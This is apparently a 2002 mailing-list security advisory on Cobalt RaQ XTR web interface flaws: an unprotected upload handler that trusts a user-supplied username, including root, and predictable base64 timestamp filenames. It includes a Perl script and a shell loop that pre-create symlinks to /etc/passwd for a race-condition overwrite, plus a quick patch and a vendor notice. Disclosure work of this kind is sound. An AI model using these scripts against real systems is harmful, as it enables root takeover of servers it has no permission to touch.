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Remote Cobalt Raq XTR vulns
From: "W. ter Maat - Digit-Labs Information Security" <termaat () gelrevision nl>
Date: Fri, 08 Mar 2002 19:32:38 +0100

Topic  :  Combined (Remote/Local root) Cobalt XTR vulnerabilities
Date   :  02-03-2002
Author :  Wouter ter Maat aka grazer () digit-labs org
Url    :  http://www.digit-labs.org

Description  : Some areas of the Cobalt XTR UI are not .htaccess protected,
               Therefore users can access MultiFileUpload.php
               from remote.
               MultiFileUploadHandler.php handles upload request
               posted from MultiFileUpload.php.
               Due to an authentication bug in the upload Handler,
               users can write files to the filesystem as any
               valid user on the system, including root.

Exploitation : To exploit this vulnerability, you need shell access
               (or be creative).

               ----- snippet of MultiFileUPload.php -----
               // get uid
               $pwnam = posix_getpwnam($PHP_AUTH_USER);
               $uid = $pwnam["uid"];
               // get filename
               $baseName = base64_encode(time());
               $fullName = "/tmp/" . $baseName;

               As you can see, user information is read to $pwnam, which
               is the return value of function posix_getpwnam($PHP_AUTH_USER);
               PHP_AUTH_USER can be modified to each desired value (remote)
               (i prefer root :P).

               The Next problem, lies in the base64 encoding of the filename,
               which is predictable. If you can predict the base64 filenames
               for example the next ten minutes (time()), and create symbolic
               links to /etc/passwd, you will have exactly ten minutes to
               exploit the machine.

               After the symlinks have been created (script to create base64
               symlink is below), you will need to upload your modified
               target file (script set to /etc/passwd).
               You can upload your file at
(if you know how forms work, and understand the authentication error :P).

Quick patch   : Create a .htaccess file in the uifc directory.

Vendor status : Sun Cobalt was notified at the day of writing.

-> Explotation and further technical info can be found here:

---------------- local-timerace-xtr.pl -----------------
# mass base64 time encoder
# part of Cobalt UIFC XTR remote/local combination attack

use MIME::Base64;
$evil_time = time();

$exploit_secs = 10; # time in seconds you got to exploit this bug (race)

for($i=1;$i<=$exploit_secs; $i++) {
     $evil_time = $evil_time+1;
     $evilstr = encode_base64($evil_time);
     print $evilstr;

------------------- symlink-time.sh -------------------
#Script for creating symlinks from output of local-timerace-xtr

for foo in `perl -x xtr-timerace-xtr.pl`
ln -s /etc/passwd $foo

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